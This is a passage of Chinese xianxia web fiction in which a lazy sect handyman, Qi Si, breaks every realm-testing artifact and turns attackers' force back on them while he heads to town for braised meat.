“齐司。”长老声音低沉,带着一股不容置疑的威压,“随我入内。” 那股威压如同实质,顺着空气层层压下,山门附近的弟子一个个呼吸一窒,胸口发闷,连抬头的勇气都没有。 齐司站在风口,衣角被山风吹得微微晃动,他抬头看了看山门外的天,阳光正好,山道尽头隐约能看到镇子上的烟火。 “我下山吃个饭。”他语气平平,“你们要说什么,等我吃完再说。” 话音刚落,那股威压就像撞在了一堵看不见的墙上,前冲之势戛然而止,随后在原地拧成一个漩涡,猛地一缩,倒卷回长老身上。 长老瞳孔一缩,脚下青石板在无形的反震力道下“咔”的一声,裂出几道细纹。 他胸腔里的真元原本运转如行云流水,此刻却像被人从中间打了个结,气机一滞,真元在丹田附近打了个死结,瞬间乱作一团。 “咚——” 心口猛地一跳,长老只觉得眼前一黑,耳边嗡嗡作响,识海深处隐隐浮现出一些压了多年的旧事,像是被人硬生生撕开了封印。 “心魔?”他心头一凛,急忙咬破舌尖,强行把涌上来的杂念压回去,额头冷汗瞬间冒了出来。 他抬眼再看齐司,目光里第一次带上了几分慎重,甚至是……忌惮。 “你不属于……任何境界。”长老喉咙发紧,声音有些沙哑。 这句话一出口,周围几个高阶武者心头同时一震。 不属于任何境界,却能让护山大阵“数据错误”,让骨纹碑、灵息镜全部失效,让开脉后期一掌自断,让堂堂执法长老气机紊乱、心境震荡。 那他到底站在什么地方? 山门上方,阵纹深处的那些代表境界的光点此刻已经乱成一团,原本清晰的层级被一道道“无法识别”的红字穿透,像是被人用刀在整套体系上划出了无数道口子。 宗门后山的议事大殿内,几位掌权长老同时睁开眼,从各自的修炼状态中被硬生生拉回现实。 “山门那边……出了个什么东西?”一位白眉长老声音发干。 “不是东西,是人。”另一位长老闭目感应了一瞬,脸色古怪,“但又……不像我们武道里的任何一种‘人’。” “境界链被他打断了。”老阵师声音低沉,“所有评定阵纹,在他身上全部失效。” “重写境界?”有人低声喃喃,“还是……境界之外?” 议事大殿里一时无人接话。 山门下,齐司已经把扫帚往肩上一扛,迈步往外走。 那几位高阶武者下意识想拦,却谁也不敢真正伸手,只能眼睁睁看着他从他们中间走过。 他走得不快,每一步落在地上,青石板都只是微微一响,没有半点真元波动,像极了一个普通下山买菜的杂役弟子。 可等他背影消失在山道转角处时,山门附近的空气才像是被人松开了掐住的喉咙,所有人同时长出一口气,胸口发闷的感觉这才慢慢散去。 “派人盯着他。”执法长老收回视线,声音低沉,“别惊动他。” “是监视,还是……招揽?”有人低声问。 长老沉默了片刻,脑海里还残留着刚才那一瞬间心境被撕开的刺痛,最终只吐出两个字:“都试。” 山道上,风从松林间穿过,带着淡淡的树脂味。 齐司一手搭着竹扫帚,另一只手插在袖子里,步子懒散,呼吸平稳,像是终于从一堆麻烦里脱身。 他没回头,也懒得管身后那道远远吊着的气息。 那是某个被派来“暗中监视”的内门弟子,轻功不错,脚步极轻,每一步都落在石缝间,尽量不发出声音,内息收敛得极紧。 齐司打了个哈欠,肩膀一松一垮,顺手把扫帚往前一甩,像是在路边随意挥两下。 扫帚梢掠过地面,带起一串细小的石屑,轨迹看似乱七八糟,实际上每一下都恰好擦着那名跟踪弟子脚尖落点的前一寸。 那弟子正踩在一块略微突起的石头边缘,准备借力一跃,忽然脚下一空。 “咔——” 那块石头被扫帚梢轻轻一带,受力点一变,整块石头从山道边缘滑落下去,带起一串碎石。 弟子脚步一乱,身体前倾,内息下意识一提,想要稳住身形,却没想到自己刚刚压得死死的气机在这一提之下,像是被人从背后推了一把,猛地窜上来,冲得他眼前一黑。 “唔——” 他闷哼一声,整个人从山道边缘翻了下去,滚落在半山腰的草丛里,摔得七荤八素,胸腔里的内劲乱窜,怎么都压不住。 齐司停下脚步,回头看了一眼,只看到半山腰草丛里晃了晃,又安静下来。 “脚下看着点。”他声音不大,顺着风飘了下去,“别摔坏了。” 说完,他把扫帚往肩上一扛,继续往镇子方向走,步子不快不慢,像是只在乎卤肉铺关门前能不能赶到。 山风顺着山道往下灌,吹得他衣摆微微鼓起,扫帚尾巴在肩头轻轻晃着,发出细碎的“沙沙”声。 山门方向忽然传来一阵脚步声,杂乱而急促,踩在石阶上带出一连串回响。 “前面那位,站住!” 一道年轻却刻意压沉的声音从后方传来,带着几分居高临下的味道,声音在山道间折回,回音一重一重叠上来。 齐司脚步没停,只是略微偏了偏头,像是在分辨这声音是不是冲他来的。 脚步声很快逼近,伴随着衣袂破风的“唰唰”声,一个身影从后方掠来,脚尖点在石阶边缘,带起一圈细碎石屑,气血翻涌的味道顺着风压过来。 “你就是那个……齐司?” 那人落在他前方三步的位置,半挡住山道,身形高瘦,腰间系着内门弟子的腰牌,胸口的衣纹还残留着未散的劲气波纹。 齐司看了他一眼,又看了看他身后山道上被震得微微起伏的灰尘,嗯了一声:“有事?” 那弟子下巴微抬,眼角余光扫过他肩上的扫帚,似乎有点不屑:“你刚才对师兄出手?” 齐司想了想,随口道:“扫地。” “少装糊涂。”那弟子冷笑一声,脚下微微一沉,石阶边缘立刻出现细微裂纹,像蛛网一样往外扩散,“敢在山道上对同门动手,胆子不小。” 他说话间,体内气息已经开始鼓荡,胸膛起伏,呼吸变得又长又重,每一次吐纳都带着一股隐隐的风声,仿佛有一只看不见的手在推着空气往前挤压。 齐司看着那裂纹,心里算了算这块石阶还能撑多久,随口道:“真摔坏了,修起来麻烦。” 那弟子眼神一冷,抬手一指山门方向:“跟我去检测石碑前,把境界报上来。” 齐司“哦”了一声,没说去,也没说不去,脚步依旧往镇子方向,像是只在乎山下那家卤肉铺的卤水有没有收火。 那弟子脸色一沉,脚下一错,身形侧滑半步,挡在他正前方,袖袍一抖,内劲沿着手臂鼓荡而出,带起一股直冲面门的风压。 “我让你——” 话音未落,他掌心一翻,掌缘斜切而下,劲力未至,山道两侧的枯草已经被风压压弯,石阶上的灰尘被卷成一道细长的灰线,顺着掌势前推。 齐司眼皮微抬,看着那道灰线逼近,像是嫌灰尘要扑脸麻烦,脚尖往旁边一点,身体侧了半步,肩上的扫帚轻轻往后一仰,扫帚梢在空气里划出一个懒洋洋的弧线。 他这一退半步,动作慢悠悠,像是伸懒腰时顺手挪了个位置。 可那弟子的掌势却在这一瞬间像是撞上了什么看不见的斜面,掌风前冲的轨迹被硬生生拐了个弯,原本直指齐司胸口的劲力,沿着他退开的那半步空隙,斜着撞回自己身前。 “嗡——” 空气里发出一声低沉的震鸣,那是劲力被折返时与自身余波撞上的声音,像两股水流在狭窄的石缝里对冲。 那弟子瞳孔一缩,想要收力,可内息已经顺着既定轨迹冲出,掌缘上的青筋一根根鼓起,像是要把皮肤撑破。 下一瞬,他整个人像被人从正面一拳砸中胸口,身形猛地一震,脚下石阶“咔”的一声裂开一条细缝,裂纹沿着他脚掌外缘往两侧扩散。 “噗——” 他喉头一甜,一口血没忍住,从唇角喷出,血雾在半空被掌风卷散,化成一片细细的红色雾气,又被山风吹开。 身体则被自己反弹回来的劲力硬生生震得倒退三步,每退一步,脚下石阶就凹下一小块,碎石从缝隙里被震飞出来,打在旁边山壁上,发出一连串“叮叮当当”的脆响。 齐司看着那一片飞起的碎石,抬手挡了挡脸,动作懒散,手腕轻轻一抖,袖口在空气里晃出一个小小的弧度。 那几块本该擦着他脸飞过去的碎石,像是撞上了什么柔软的水面,轨迹一偏,反而绕着他身侧划了个圈,最后“啪啦啪啦”砸在那弟子肩头和背上。 “嘶——” 那弟子倒吸一口凉气,肩膀一沉,刚稳住的身形又被砸得一歪,胸腔里翻涌的内劲趁机乱窜,仿佛有几十条细小的火蛇在经脉里乱撞。 他脸色瞬间涨红,青筋在额角跳动,想压,压不住,想散,又找不到出口,只能僵在原地,呼吸急促,像是被人按着脖子往水里摁。 “你——你做了什么?” 他声音发哑,眼里隐隐带着惊惧。 齐司把挡灰的手放下,活动了下手腕,骨节轻轻一响,像是睡醒后随意抖了抖手:“没做什么,你自己打自己。” 他说完,像是终于确认这人不会再挡路,往旁边绕开半步,扫帚尾巴在石阶上拖出一道浅浅的痕迹,灰尘被轻轻扫到一边。 山门方向,这一幕正好落在几名守门弟子的眼里。 “他连手都没抬吧?” “就退了半步。” “那掌力……我隔这么远都觉得胸口发闷。” 几人面面相觑,眼神里多了几分说不清的东西。 不多时,山门内传来一阵更沉稳的脚步声。 “让他去检测石碑。” 一道略显苍老却不失威严的声音从门内传出,带着不容置疑的意味。 齐司叹了口气,抬头看了眼天色,算了算卤肉铺关门的时辰,觉得大概还能赶上,便也懒得绕路,顺着他们的意思往山门里走。 石碑立在广场中央,黑色的碑身被岁月磨得发亮,上面密密麻麻刻着境界划分,从炼体、聚气,到化罡、通玄,每一层都有对应的纹路。 广场四周,阵纹隐隐,灵息在地底缓缓流转,像一条条看不见的暗河,汇入石碑底座。 “齐司,伸手按上去。”一个执事长老站在石碑旁,袖袍垂落,眼神淡淡地打量着他。 齐司走过去,扫帚随手往旁边一靠,靠在石碑边缘,扫帚梢轻轻碰到碑身,发出一声轻微的“嗡”,像是被什么东西触动了一下。 石碑上原本平静的纹路忽然微微一亮,几道细小的光线顺着碑身往上窜,又很快暗下去,像是被什么堵住了。 执事长老眉头一皱:“还没开始。” 齐司“哦”了一声,随意抬起右手,手指在半空顿了顿,像是在考虑要不要换只手,最后懒得换,掌心贴在石碑中央。 一瞬间,广场上的灵息像是被什么猛地牵了一把,所有暗河般的气流同时一滞,随后疯狂往石碑方向涌去。 “嗡——” 石碑震动,碑身上的境界纹路一层层亮起,从最底层的炼体一路往上窜,光芒在每一层停顿不到半息,就被下一层追上,像是有人在飞快翻阅一本厚重的册子。 周围弟子屏住呼吸,看着那光芒一路冲到最顶端的“通玄”两字,又不知足似的往上窜。 可在通玄之上,石碑本就没有更多刻痕,光芒像是撞上了一个空白的天花板,猛地一颤,开始在顶端乱窜,发出刺耳的“滋滋”声。 执事长老脸色一变,抬手就要出掌稳住石碑。 齐司却在这时打了个哈欠,肩膀微微一耸,手指不耐烦地动了动,像是贴在冰冷石头上有点麻,想随意挪一挪。 他这一挪,掌心的接触点从石碑中央往旁边滑了半寸。 原本往上狂涌的灵息猛地一顿,像是被人从正面拽住,冲势无处可去,只能在石碑内部乱撞,光芒在碑身上四处乱窜,境界纹路一层层闪烁,最后干脆全部熄灭。 “咔——” 石碑内部传来一声极轻的裂响,像是某根看不见的骨头断了。 下一瞬,碑面中央缓缓浮现出几个字—— “无法识别。” 紧接着,底座上的阵纹一阵紊乱,几道原本平稳流转的灵息暗河逆流而上,冲得地面阵纹一明一暗,像是被人用力搅了一下。 广场四周的灵息镜一一亮起,镜面上浮现出一行行快速跳动的字。 “数据错误。” “境界不存在。” “骨纹评定:空白。” 执事长老脸色瞬间沉了下来,抬手一抓,身前空气一紧,一面灵息镜被他摄到掌中,镜面上的字还在疯狂闪烁。 他眉心微跳,正要细看,忽然胸口一闷,体内原本平稳如老井的内力,竟像被什么无形的涟漪扫过,微微一荡。 那一荡本不算什么,可他下意识运转心法,想要压住这丝波动,内力一提,却发现那股波动像是被放大了十倍,沿着经脉往四肢百骸扩散。 “嗯?” 他低低一声,眼神一凝,心神刚要沉入丹田,丹田里原本安稳盘踞的真元忽然一颤,像是被人从外面轻轻敲了一下。 那一下不重,却极其突兀。 执事长老呼吸微微一乱,心境像被人从背后推了一把,压了多年的一丝隐忧忽然浮上来,脑海深处某些被他强行压下的念头趁机探头。 “……糟。” 他脸色一变,忙闭目凝神,强行稳住心神,不敢再多看镜面一眼。 站在一旁的几名弟子只看到这位一向沉稳的长老袖袍轻轻一抖,脚下的地砖在他脚掌下细不可察地裂开了一道缝。 齐司把手从石碑上拿开,甩了甩手指,像是被冰石头冻得有点麻:“好了?” 没人回答。 广场上安静了一瞬,随后四周窃窃私语声像被掐断的水流重新涌出。 “无法识别?” “连骨纹都评不出来?” “这……什么境界?” 有人忍不住压低声音:“难不成是……超出通玄之上?” 话刚出口,就被旁边人一肘子顶回去:“胡说什么,通玄之上哪有境界划分。” 可即便如此,那句“通玄之上”还是像一块石头丢进水里,在人群心里泛起一圈圈涟漪。 执事长老缓了好一会儿,才勉强把翻涌的内力压回丹田,睁开眼时,眼底深处还残留着一丝未散的惊惧。 他看向齐司,目光复杂,像是在看一块不知该归入哪一栏的异类。 “……再试灵息镜。” 他说话时声音有些发哑,自己也察觉到,眉心微皱,运了一口气,声音才恢复平稳。 灵息镜被重新立在齐司面前,镜面如水,映出他的身影,背后是半明半暗的石碑和一圈圈还未散尽的灵息涟漪。 “站近些。” 齐司往前挪了半步,镜面上的水光微微一荡,他的倒影被拉长又压扁,像是被什么力量在镜中来回揉捏。 灵息镜边缘的阵纹亮起,一圈圈细小的光环从镜框往内收缩,试图锁定他的气息。 可光环刚一触到他身体轮廓,便像是撞进了空无一物的深渊,光芒一暗,随即反弹回来,镜面上浮现出一片雪花般的杂点。 “滋——滋——” 灵息镜发出难听的噪音,镜面开始出现细小裂纹,从中央向四周蔓延。 “退开!” 一名负责看管灵息镜的阵 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声音很轻,像是指节敲在木桌上。 可他这一弹,指尖并没有破,反而是空气被弹出一圈肉眼可见的波纹,那波纹在半空扩散开来,像水面被石子砸中,往四周荡去。 玉盘正好在那波纹的覆盖范围内,盘身微微一颤,中央凹槽里原本空无一物,却在下一瞬间凭空浮现出一滴血珠。 那血珠悬在半空,没有落下,缓缓旋转,表面反射着玉盘纹路的光。 “这……” 阵法师瞳孔一缩,手指微微发抖。 血珠终于落入凹槽,玉盘上的纹路瞬间亮起,一圈圈光纹从中央往外扩散,速度极快,几乎在眨眼间就爬满整块玉盘。 然后—— “啪。” 玉盘中央某一条细纹断裂,光芒像被人从中间掐断,所有纹路同时熄灭。 玉盘表面浮现出三个字。 “空白骨。” 执事长老呼吸一滞,喉结滚动了一下。 空白骨,按理说只会出现在未曾接触任何武道之人身上。 可他刚才明明从这小子的随意一弹里,感受到了一丝让他心惊的劲力波动。 那股劲力不属于任何已知心法,却又干净、圆满,没有一丝杂质。 “……境界之外。” 他喉咙里挤出这么三个字,自己都被吓了一跳,忙闭嘴不言。 广场四周的弟子却已经被“空白骨”三个字震得说不出话来。 有人忍不住低声道:“那他之前是怎么把外门师兄打飞的?” “自己打自己。”旁边有人下意识重复了齐司刚才的话,声音发虚。 齐司看着那块已经失去光泽的玉盘,觉得这东西大概也坏了,便把视线收回来,伸手去拿靠在石碑边的扫帚。 扫帚被他随手一提,梢子在地上扫过,带起一圈细细的灰尘。 执事长老下意识后退半步,像是怕那扫帚梢再碰到什么阵纹。 “等等。” 他开口,声音里带着一丝不易察觉的慎重,“宗门需要对你做进一步观察。” 齐司停下动作,扫帚搭在肩上,眼神平静:“不方便,我要下山。” 执事长老愣了一下:“下山做什么?” “买吃的。” 齐司说得很自然,像是在陈述一件理所当然的事,“镇子上卤肉铺快关门了。” 广场四周一片寂静。 执事长老张了张嘴,最终只挤出一句:“让人给你送上山。” “不新鲜。”齐司摇头,往山门方向走,“我自己去。” 他步子不快不慢,像是已经把这件事当成定局。 几名守门弟子对视一眼,正要上前拦截,执事长老抬手压了压袖子,示意他们退开。 “派人暗中跟着。” 他低声吩咐,目光一直落在齐司背影上。 那背影不高不矮,肩上扛着一把旧扫帚,走在山道上,像是个普通到不能再普通的杂役弟子。 可山道两侧的树叶在他经过时,明明没有风,却轻轻晃了晃,枝叶间的尘埃被震落,顺着枝条滑下,落在地上,悄无声息。 执事长老看在眼里,心里那条裂开的缝隙越拉越大。 “境界之外……”他喃喃了一句,又觉得这四个字太过惊人,忙把念头压下。 可压得越狠,心境就越不稳。 他忽然觉得丹田里那一汪真元不再像往日那样安稳,反而像是被人丢进一块石头,泛起一圈圈细小的涟漪。 “长老?” 旁边弟子察觉他气息微乱,小心翼翼地叫了一声。 执事长老回过神来,脸色有些发白,摆摆手:“无事。” 他说完,袖袍一拂,转身离开广场,背影却比来时僵硬了几分。 …… 山道上,齐司一路往下。 身后不远处,两道身影悄无声息地跟着,脚步落在石阶边缘,连一丝碎石声都没带起。 他们刻意压低了气息,呼吸绵长,步伐与山道的起伏完美契合,像是两道融进山色里的影子。 齐司没回头,只是走到一个转弯处时,忽然停下,抬手把肩上的扫帚往前一送,扫帚梢在空气里划出一个半圆,像是在试着活动手腕。 “呼——” 扫帚梢带起一股极轻的风,那风绕着他身体一圈,顺着山道往上窜。 两名暗中跟随的弟子只觉得脚下石阶忽然一轻,像是被人从下方托了一把,身体微微一飘。 他们心里一惊,下意识运转内息稳住身形。 可内息一提,便立刻撞上了那股顺着山道往上的轻风。 那风本无形无质,可被他们内息一触,立刻像是被点燃的火线,顺着经脉往上窜。 “咚——咚——” 两人胸口同时一闷,心跳重了一拍,耳边隐约听到自己血液在血管里奔涌的声音。 “稳住。” 其中一人咬牙低喝,强行压住那股莫名的躁动。 可越压,内息就越乱,像是被硬生生按进狭小的瓶子里,找不到出口,只能在瓶壁上乱撞。 短短几息,两人额角便渗出细汗,脚步不自觉地慢了半拍。 齐司把扫帚收回肩上,像是对刚才那一下的手感不太满意,轻轻抖了抖手腕。 他这一抖,扫帚梢在空气里晃出一个极小的弧线,像是随意画了个圈。 那弧线落在身后两人眼里,却像是一道看不见的锁。 他们胸腔里翻涌的内息忽然一滞,所有乱窜的劲力被那一圈无形的轨迹拦住,硬生生折回丹田。 “噗——” 两人同时闷哼一声,各自退后半步,脚下石阶被踩出两个浅浅的凹痕。 内力倒灌的刺痛感从丹田炸开,顺着脊柱往上窜,直冲天灵盖。 一瞬间,他们眼前一黑,耳边嗡嗡作响,心境像是被人从高处丢下,失重感让他们几乎站不稳。 “怎么回事……” 其中一人脸色煞白,嘴唇发抖。 另一人死死咬住舌尖,借着那一丝痛意勉强稳住心神,抬眼看向前方。 齐司已经走远了,背影被山道的转弯挡住,只剩下一截扫帚尾巴的影子,在石阶上轻轻晃了一下,便也消失不见。 “回去禀报。” 那人声音发哑,胸口起伏得厉害。 他们原本是来暗中监视,结果不过短短几个呼吸,自己先被震得内力倒灌,心境差点失守。 …… 宗门议事大殿。 几名长老围坐一圈,中间摆着一方灵息镜,镜面上正映出齐司下山的背影。 “石碑无法识别,灵息镜显示目标不存在,骨纹评定空白骨。” 一名灰袍长老缓缓道出几个结果,声音在大殿穹顶来回回荡。 “这已经不是天赋高低的问题。”另一名长老皱眉,“是压根不在我们的评定体系里。” “境界划分自宗门立派以来,从未出过错。”有人不服,“会不会是阵纹老化?” “老化能让石碑内部骨纹断裂?能让灵息镜几乎崩溃?”灰袍长老冷笑一声,“你亲自去碰碰,看是不是老化。” 大殿一时安静下来。 13. 第 13 章 有人低声道:“若真如结果所示,他不属于任何境界,却能打穿所有境界……” 话没说完,自己先被这句话吓了一跳,忙住口。 “各宗门已经有人听到风声。”灰袍长老看向众人,“刚才已经有飞剑传书问起此事。” “他们想招揽?” “也可能想先下手为强。”有人冷哼,“这种不在体系内的存在,谁掌握,谁就能改写武道格局。” “改写?”灰袍长老喃喃重复了一句,目光落在灵息镜上那道渐行渐远的背影上,“恐怕是——逼着整个武道体系重写。” 大殿内一片沉默。 …… 山下小镇。 夕阳斜照,街道上的石板被余晖染成一片金红,空气里飘着卤肉、炭火、酒水混杂的味道。 齐司肩上扛着扫帚,慢悠悠地走在街上,像个刚从山上下来办事的普通杂役。 卤肉铺前已经排起一小队人,锅里卤水翻滚,热气带着香味直往外扑。 他排在队尾,打了个哈欠,眼皮半垂,像是随时能睡着。 街对面,一家客栈二楼的窗户后,有人掀开了一角窗帘,一双眼睛透过缝隙盯着他,目光锐利。 “就是他?” “嗯,境界无法识别,连骨纹都是空白。” “有意思。” 窗后的人轻笑一声,指尖在桌面上轻轻敲击,每一下都带着一丝若有若无的劲力,敲得桌面纹理微微浮动。 “先看,不要惊动。” 另一道声音低低道,“宗门那边肯定也在盯着,我们不必抢在明面上。” 与此同时,街角的茶摊旁,一名穿着普通布衣的中年人端着茶碗,目光看似漫不经心地扫过齐司,指尖却在茶碗边缘轻轻摩挲,茶水表面泛起一圈圈细小的涟漪。 “境界之外……” 他低声自语,眼底深处闪过一丝炽热。 “若能窥得一二,我宗或许能另辟蹊径。” 卤肉铺前,队伍缓缓往前挪。 轮到齐司时,掌勺的老板抬头看了他一眼,笑道:“山上的?” 齐司点点头:“老样子,多浇点卤。” 老板手上动作利落,勺子在锅里一捞,卤水顺着肉块往下淌,砸在锅底,发出“嗞嗞”的声响,香气更浓。 “最近山上可热闹?”老板随口问。 “挺吵。”齐司接过纸包,随意答了一句。 他转身要走,肩上的扫帚尾巴不小心扫到旁边摊位的木牌,木牌晃了晃,发出“吱呀”一声。 就在这时,一道劲风突兀地自侧面袭来,带着酒气和杀意。 “喂,就是你?” 一个满脸络腮胡的大汉从酒肆里踉跄冲出,脚步看似虚浮,实则每一步都踩在街道石缝的受力点上,石板在他脚下微微下沉,裂纹顺着脚掌外缘扩散。 他一把抓向齐司肩头,五指如钩,指间劲力外放,空气被抓得发出“呲呲”声。 “听说你是境界之外?”大汉咧嘴一笑,眼里带着几分酒疯,“让爷看看你有什么本事。” 齐司侧头看了他一眼,又看了看手里的卤肉包,似乎在衡量要先护哪个。 最终,他只是往旁边退了半步,身体微微一侧,像是怕卤肉被碰到。 肩上的扫帚顺势往后一仰,扫帚梢在半空懒洋洋地划了个弧。 大汉那一抓本是直取他肩头,这一瞬间却像是抓进了一个斜着推来的气场里,掌势被硬生生拐了个方向。 “咔——” 他手腕骨节发出一声脆响,掌心劲力沿着那股斜推的气场折回,顺着手臂一路冲到肩膀,再从肩胛骨往后撞进脊柱。 “嗡——” 大汉眼前一花,只觉得自己这一抓像是抓进了一个漩涡里,所有劲力都被那漩涡吞了个干净,又从背后狠狠踹了他一脚。 他整个人像被人从正面撞了一下,脚下石板“砰”的一声碎裂,裂纹如蛛网般扩散,身体则被震得倒飞出去,撞翻了后面两个桌子,酒碗、菜盘在半空乱飞,摔得满地都是。 “哗——” 街道上一片哗然。 齐司低头看了看自己手里的卤肉包,纸包边缘被刚才那股劲风吹得起了一点皱,他抬手轻轻抚了抚,确认里面的肉没散,才慢悠悠地往前走。 他伸懒腰似的抬了抬手臂,肩关节“咔咔”两声轻响,像是刚睡醒活动筋骨。 这一伸,空气里隐约出现一道极淡的弧线,从他指尖一路延伸到街道尽头,又很快消散。 街边茶摊旁,那名中年人正好抬头,目光与那道弧线擦肩而过。 他心神一震,只觉得自己修炼多年的心法在那一瞬间被人轻轻拨了一下,某个卡了多年的关隘忽然松动,又在下一瞬间被更大的迷茫填满。 “这是什么轨迹……” 他喃喃自语,眼里既有狂喜,又有惶然。 客栈二楼窗后,那人也正好看到齐司这一伸懒腰的动作。 他瞳孔一缩,猛地站起,椅子在地上拖出刺耳的声响,桌上的茶水被震得溅出几滴。 “他刚才那一下——” “只是伸懒腰。”旁边人声音发干,“可那势场……像是把整条街都纳进去了。” 他们说话间,齐司已经拐进一条小巷,找了个阴凉的角落,背靠墙坐下,拆开卤肉包,低头吃起来。 巷子里安静,只有他咬断肉块时发出的细微声响。 远处,宗门、各宗的目光、飞剑传书、议事大殿里的争论,都像是隔着一层厚厚的雾,与他无关。 他只在乎卤肉是不是够咸,卤蛋是不是入味,吃完之后,是回山上的藏书阁睡一觉,还是在镇子里多逛一圈。 卤肉的油脂在齿间炸开,咸香顺着舌根往下滑,他慢慢咀嚼,眼皮有点困倦地垂着。 巷口忽然一暗。 一块丈许高的黑色石碑,被四个劲装弟子抬着,沉沉落在巷口,石面上阵纹亮起,像一层薄冰铺开,冷光顺着纹路向外扩散,直到将整条巷子笼罩进去。 “前辈,得罪了。”为首的灰衣中年抱拳,声音压得很低,却带着不容拒绝的硬度,“宗门请您配合一次检测。” 齐司叼着半个卤蛋,含糊不清地“嗯”了一声,没起身,也没伸手。 石碑上的阵纹猛然一亮,一圈圈灵光像水波一样从碑心扩散,扫过齐司所在的位置。 灵光掠过他身躯时,像撞到什么空无之物,纹路一顿,光线折返,杂乱无章地在碑面乱窜。 “境界判定:——” 石碑内部传来机械般的嗡鸣声,紧接着,碑面上浮现一行血红小字: 【数据错误。】 灰衣中年一愣,抬手在碑面上连点几下,重新激活阵纹。灵光再度扩散,这次更为猛烈,连巷子两侧的青砖都被映出一层苍白的光。 “境界判定:——” 【无法识别。】 石碑嗡鸣声拔高,仿佛要强行挤出一个结果,碑身微微震动,碎石从底座边缘簌簌掉落。 齐司皱了皱眉,侧头避开一点光线,只是为了不让那刺眼的反光晃到自己眼睛。他懒得说话,低头把剩下半个卤蛋吃完。 “再来。”灰衣中年咬牙,从袖中掏出一枚巴掌大的青铜镜,镜背刻着密密麻麻的符文,镜面如水,隐有灵息翻涌。 “灵息镜,专测气血、内息、真元流转。”他低声对身后弟子道,“任何修士,只要站在镜前,哪怕凡人,也能显出基础骨龄、气血强弱。” 他将灵息镜举起,对准齐司。 镜面一阵涟漪,先是浮现出巷子轮廓,墙角阴影、地上油渍都被清晰映出,唯独齐司所在的位置,是一团空白。 那空白不是被遮挡,而像是镜面主动绕开了他,画面在他轮廓边缘扭曲、断裂,勉强拼接成一个模糊的人形,却没有任何气血线条、经脉走向。 “骨龄:——” “气血:——” “真元:——” 三行字在镜面上闪烁几下,最终同时崩散,化作一片雪白噪点。 【目标不存在。】 灵息镜背面的符文“啪”地炸开一道细小裂纹,青铜表面瞬间暗淡了几分。 灰衣中年呼吸一滞,手腕微微发抖。 齐司打了个哈欠,慢吞吞站起身,顺手把油纸包团成一团,准备找个垃圾篓丢掉。 “前辈请留步。”灰衣中年下意识伸手,想拦一下。 齐司脚步一顿,侧身让开,只是往旁边退了半步。 灰衣中年这一抓,本就带着一丝内劲,为了显得“礼而有度”,他刻意收了七成力道,掌风却仍旧带起一股细微风压,卷得巷子里的灰尘往齐司方向扑去。 齐司眉心微蹙,抬手挡了挡灰尘,动作懒散得像是在随意挥开一只飞虫。 他的手掌刚好与那股掌风交汇。 一瞬间,灰衣中年只觉得掌心一空,内劲像是撞进了一个没有边界的虚空里,所有劲道失去着力点,顺着他原本的经脉轨迹,倒卷回去。 “——咚!” 他胸口一闷,脚下青石板瞬间碎裂出蛛网般的裂纹,整个人被自己反噬的力道震得连退三步,背脊狠狠撞上巷墙,灰尘簌簌而落。 他喉头一甜,一口血险些喷出来,硬生生咽了回去,脸色却瞬间惨白。 齐司看了他一眼,眼神里只有一点被打断吃东西的不耐烦。 “你们弄完了没?我还得上山。”他随口问,语气平平。 灰衣中年张了张嘴,一时间说不出话。 他身后一个年轻弟子急忙上前,手里捧着一块巴掌大的骨纹石,石面上有淡淡骨纹浮现,像是某种兽骨被磨平后刻上阵法。 “前辈,只剩骨纹评定。”年轻弟子声音发紧,“只要滴一滴血,就能显出天赋骨纹。” 齐司看了看那骨纹石,又看了看自己刚吃完卤肉还沾着油的手指,懒得伸手。 “我不修炼。”他淡淡道,“天赋给别人用吧。” 年轻弟子咽了口唾沫,硬着头皮把骨纹石往前一送,手指不小心擦过齐司袖口。 骨纹石瞬间一震。 “嗡——” 石面上的骨纹像被火点燃,疯狂蔓延,原本只有一层的纹路,瞬间叠出十几层,交错、扭曲、重叠,最后整个石面被密密麻麻的纹理塞满,连一丝空隙都不剩。 “天赋评定:——” 【骨纹紊乱。】 【等级:不存在。】 【评定结果:错误。】 骨纹石内部传来一声细微的“咔嚓”,从中心裂开一道缝,碎屑从指缝间落下。 年轻弟子手一抖,差点把骨纹石扔出去。 齐司懒得再看,随手把团好的油纸丢进巷口的破竹篓里,转身往外走。 巷子外,街道上已经多了不少陌生面孔。 几名身着不同宗门服饰的武者分散在街边,衣袂微动,气息在空气中交织,形成一道道看不见的暗流。有人背剑,有人腰间挂着阵盘,还有人手里提着兽皮卷轴,显然是各宗门匆忙赶来的探子或执事。 他们目光不约而同落在齐司身上。 “就是他?”一名青袍老者眯起眼睛,指尖轻轻一弹,一道细若游丝的劲气从指尖弹出,贴着地面滑行,几乎不带起任何尘土,却在靠近齐司脚踝时,猛地一转,直冲他膝弯。 齐司刚迈出一步,觉得脚下有点滑,像是踩到了什么滚圆的小石子。 他下意识抬脚,往旁边挪了一寸,顺手抖了抖手腕,像是吃饱了活动一下筋骨。 那道细丝般的劲气扑了个空,前冲之势无处着力,顺着街面石缝倒卷而上,反窜回青袍老者指尖。 “——噗!” 青袍老者指尖一麻,内力像被针扎了一下,沿着经脉倒冲而回,直捣气海。他胸口一闷,脚下不稳,身形微微一晃,袖袍鼓起一层诡异的气浪,随后又迅速塌陷。 他脸色一变,急忙运转心法压制,结果刚一调动真元,丹田处就像被什么无形之物轻轻一拨,原本顺畅的真元流转,瞬间打结,气息在体内乱窜,像一群被惊扰的猛兽在经脉中横冲直撞。 “老陆?”旁边同门伸手扶他,手刚碰到他肩膀,便被那股紊乱的内息震得手臂发麻。 青袍老者额头渗出细汗,眼神惊疑不定地盯着齐司的背影。 “他……没有出手。”老者声音发干,“我那一缕探查之力,怎么会——” 齐司没听见,也不在乎。他只是觉得街上人有点多,打算绕远一点,从另一条小巷回山。 刚转进巷口,一柄长枪横空刺来,枪尖震颤,空气被撕出一道细长白痕,带着刺耳的啸声直指他肩头。 “站住!”一个声音在枪后炸开,“敢伤我师弟,报上名来!” 齐司脚步一顿,眉头微皱。 他不想理,顺势往旁边墙根靠了靠,只是为了让开这条路,好让对方别挡着自己回山的方向。 这一靠,恰好避开了枪尖的直线轨迹。 长枪擦着他衣袖掠过,枪身上的劲力却在擦肩而过的瞬间,像撞进了一团柔软又滑不留手的气场里,原本笔直的枪势被轻轻一拧,枪尾猛地一甩,反向抽向持枪者自己的肋下。 “什么——” 持枪青年瞳孔一缩,来不及松手,整个人被自己反噬的枪势带得横飞出去,重重撞在巷墙上,墙面震出一圈圈灰尘,裂纹从他背后向四周扩散。 “咔咔咔——” 地面石板被他拖出一道长长的划痕,直到人滑落在地,长枪“当啷”一声掉在旁边,枪身还在微微颤抖。 